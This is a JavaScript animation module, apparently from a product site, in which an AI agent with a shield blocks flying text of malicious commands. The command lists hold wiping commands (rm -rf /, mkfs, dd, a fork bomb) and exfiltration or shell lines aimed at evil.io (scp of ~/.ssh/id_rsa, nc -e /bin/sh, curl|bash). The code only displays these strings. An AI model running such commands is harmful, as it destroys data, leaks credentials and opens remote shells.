/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用)
* AnimSandbox.init(container):在容器内建 DOM 并自动无限循环播放——
* 每轮随机 20 条恶意命令(15 短 + 5 长),弹道参数全随机(角度/速度/弧度各异),
* 抛向持盾智能体,撞击后字符炸开飞散。无按钮、无说明行。
*/
window.AnimSandbox = (function () {
'use strict';
/* 站点多语言:locale 由 setLocale 注入(默认 zh-CN);T(zh, en) 就地双语。
切换语言后 setLocale 重新 init 重建 DOM 并续播循环动画(无首场景选择,无限循环本身即“当前场景”)。
gen 为模块级:重新 init 时递增作废旧闭包里的未完成序列,避免旧动画继续跑。 */
var locale = 'zh-CN';
var lastContainer = null;
var gen = 0;
function T(zh, en) { return locale === 'en-US' ? en : zh; }
function setLocale(l) {
if (l !== 'zh-CN' && l !== 'en-US') return;
if (l === locale) return;
locale = l;
if (lastContainer) init(lastContainer);
}
function init(container) {
lastContainer = container;
gen += 1; /* 代次递增:作废上一轮 init 留下的未完成序列 */
var myGen = gen;
container.innerHTML =
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
';
var stage = container.querySelector('.anim2-stage');
var defender = container.querySelector('.defender');
var shield = container.querySelector('.defender-shield');
var ring = container.querySelector('.impact-ring');
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
}
/* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续——
setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
async function step(ms, myGen) {
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls, text) {
var e = document.createElement(tag);
if (cls) e.className = cls;
if (text != null) e.textContent = text;
return e;
}
/** rAF 逐帧,返回 false 停止。gen 变了自动停。 */
function eachFrame(fn, myGen) {
return new Promise(function (resolve) {
var last = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
var dt = Math.min((now - last) / 1000, 0.05);
last = now;
if (fn(dt) === false) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function stageRect() { return stage.getBoundingClientRect(); }
/** 盾牌中心(stage 相对坐标) */
function shieldCenter() {
var sr = stageRect();
var r = shield.getBoundingClientRect();
return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left };
}
/* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */
async function fire(cmd, opts, myGen) {
var block = el('div', 'cmd-projectile', cmd);
stage.appendChild(block);
var w = block.offsetWidth;
var h = block.offsetHeight;
var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐
var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同
var shieldC = shieldCenter();
shieldC.y += opts.aim || 0;
var start = { x: 14, y: opts.startY };
var vx = opts.vx;
// 先以出场位粗解发射角 → 定蓄力后拉方向
var Tc0 = (shieldC.x - (start.x + w / 2)) / vx;
var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0;
var rad0 = Math.atan2(vyEst, vx);
var pullDist = 22;
var pullX = start.x - Math.cos(rad0) * pullDist;
var pullY = start.y - Math.sin(rad0) * pullDist;
// 轨迹起点 = 蓄力位
var ox = pullX;
var oy = pullY;
var ocx = ox + w / 2;
var ocy = oy + h / 2;
// 最右字符在块内(未旋转)相对块中心的偏移
var lxLast, lyLast;
if (offsets && offsets.length) {
var lo = offsets[offsets.length - 1];
lxLast = lo.x + lo.w / 2 - w / 2;
lyLast = lo.y + lo.h / 2 - h / 2;
} else {
lxLast = w / 2;
lyLast = 0;
}
// 求解 vy0:让最右字符(不是块中心)精确扫过盾心。
// 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。
var Tc = (shieldC.x - ocx) / vx;
var aimY = shieldC.y;
var vy0 = 0;
var hit = null;
for (var iter = 0; iter < 3; iter++) {
vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc;
var best = { d: 1e9, t: Tc, ang: 0, py: 0 };
for (var t = 0.004; t < 6; t += 0.004) {
var rr = Math.atan2(vy0 + G * t, vx);
var cosR = Math.cos(rr);
var sinR = Math.sin(rr);
var ccx = ocx + vx * t;
var ccy = ocy + vy0 * t + 0.5 * G * t * t;
// 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转
var fx = ccx + lxLast * cosR - lyLast * sinR;
var fy = ccy + lxLast * sinR + lyLast * cosR;
var ddx = fx - shieldC.x;
var ddy = fy - shieldC.y;
var dd = Math.sqrt(ddx * ddx + ddy * ddy);
if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy };
if (fx > shieldC.x + 80) break; // 已飞过盾牌
}
hit = { t: best.t, ang: best.ang };
if (best.d <= 4) break;
aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差
}
var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上)
// 出场:直接在起点摆好仰角
block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(240, myGen);
// 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同)
block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)';
block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(460, myGen);
block.style.transition = 'none';
// 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂
var elapsed = 0;
await eachFrame(function (dt) {
elapsed += dt;
if (elapsed >= hit.t) return false;
var px = ox + vx * elapsed;
var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed;
var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3;
block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)';
return true;
}, myGen);
if (myGen !== gen) throw new Error('cancelled');
// 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心
var hitX = ox + vx * hit.t;
var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t;
block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)';
impactFX();
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
}
/* ── 无限循环:每轮随机 20 条(15 短 + 5 长),随机弹道射向盾牌 ── */
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
function swallowCancel(e) {
if (e && e.message !== 'cancelled') throw e;
}
/* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1) */
var SHORT_CMDS = [
'rm -rf /',
'del /f /s /q C:\\',
'mkfs /dev/sda1',
'sudo rm -rf ~',
'format C:\\',
'chmod -R 777 /',
'wipefs -a /dev/sdb',
':(){:|:&};:',
'rm -rf /home',
'rd /s /q C:\\',
'dd of=/dev/sda',
'rm -rf /usr',
'fdisk /dev/sda',
'shutdown -h now',
'mkfs.ext4 /dev/sdb'
];
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
var LONG_CMDS = [
T('curl -T 数据.zip evil.io', 'curl -T data.zip evil.io'),
'scp ~/.ssh/id_rsa evil.io',
'curl -T C:\\pw.xlsx evil.io',
'nc evil.io 4444 -e /bin/sh',
'curl evil.io/x.sh | bash',
'wget evil.io/m -O- | sh',
'tar czf - ~ | nc evil.io 4444'
];
function rand(a, b) { return a + Math.random() * (b - a); }
function shuffled(arr) {
var a = arr.slice();
for (var i = a.length - 1; i > 0; i--) {
var j = Math.floor(Math.random() * (i + 1));
var t = a[i]; a[i] = a[j]; a[j] = t;
}
return a;
}
/* 一轮 20 条:短池抽 15 + 长池抽 5,合并乱序;
弹道参数全随机(起点高度/水平初速/重力/瞄点微调)→ 每条弧线角度都不同 */
function pickCommands() {
var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5));
return shuffled(picks).map(function (cmd) {
return {
cmd: cmd,
startY: rand(70, 230),
vx: rand(190, 430),
g: rand(430, 780),
aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729) */
};
});
}
async function loopForever(myGen) {
while (myGen === gen) {
var cmds = pickCommands();
for (var i = 0; i < cmds.length; i++) {
fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel);
await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */
}
await step(600, myGen); /* 轮间稍停 */
}
}
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
/** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */
function measureChars(block) {
var tn = block.firstChild;
if (!tn || tn.nodeType !== 3) return null;
var br = block.getBoundingClientRect();
var range = document.createRange();
var offsets = [];
for (var i = 0; i < tn.length; i++) {
range.setStart(tn, i);
range.setEnd(tn, i + 1);
var r = range.getBoundingClientRect();
offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height });
}
range.detach();
return offsets;
}
function shatter(block, hitX, hitY, hitAng, w, h, offsets) {
var text = block.textContent;
var rad = hitAng / 57.3;
var cosA = Math.cos(rad);
var sinA = Math.sin(rad);
var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%)
var cy = hitY + h / 2;
block.parentNode.removeChild(block);
var shards = [];
for (var i = 0; i < text.length; i++) {
var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度
var s = el('span', 'cmd-shard', ch);
stage.appendChild(s);
var sw = s.offsetWidth;
var sh = s.offsetHeight;
// 字符中心在块内(未旋转)相对块中心的偏移
var lx, ly;
if (offsets && offsets[i]) {
lx = offsets[i].x + offsets[i].w / 2 - w / 2;
ly = offsets[i].y + offsets[i].h / 2 - h / 2;
} else {
lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2;
ly = 0;
}
// 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它
var rx = cx + lx * cosA - ly * sinA;
var ry = cy + lx * sinA + ly * cosA;
var sx0 = rx - sw / 2;
var sy0 = ry - sh / 2;
var rot0 = hitAng + (Math.random() - 0.5) * 24;
// 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧
s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)';
shards.push({
el: s,
x: sx0,
y: sy0,
vx: -(60 + Math.random() * 200), // 向左回弹
vy: -(120 + Math.random() * 240), // 向上炸开
rot: rot0, // 保持撞击瞬间的角度,加少量随机散开
vr: (Math.random() - 0.5) * 900,
life: 0,
ttl: 0.85 + Math.random() * 0.4
});
}
var g = 980;
eachFrame(function (dt) {
var alive = false;
for (var i = 0; i < shards.length; i++) {
var p = shards[i];
if (p.life >= p.ttl) continue;
alive = true;
p.life += dt;
p.x += p.vx * dt;
p.y += p.vy * dt;
p.vy += g * dt;
p.rot += p.vr * dt;
var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55));
p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)';
p.el.style.opacity = Math.max(0, fade).toFixed(2);
if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el);
}
return alive;
}, gen); // 粒子循环跟当前 gen,切换时自动停
}
function impactFX() {
var c = shieldCenter();
ring.style.left = c.x + 'px';
ring.style.top = c.y + 'px';
ring.classList.remove('is-active');
ring.getBoundingClientRect(); // reflow 重置动画
ring.classList.add('is-active');
defender.classList.remove('is-hit');
defender.getBoundingClientRect();
defender.classList.add('is-hit');
}
/* ── 启动:进入视口后开始无限循环(页面打开时用户可能还没滚到这里,避免错过开场);
gen 固定不再递增(无重播入口),粒子/飞行各自的生命周期自清理 ── */
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
loopForever(myGen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init, setLocale: setLocale };
})();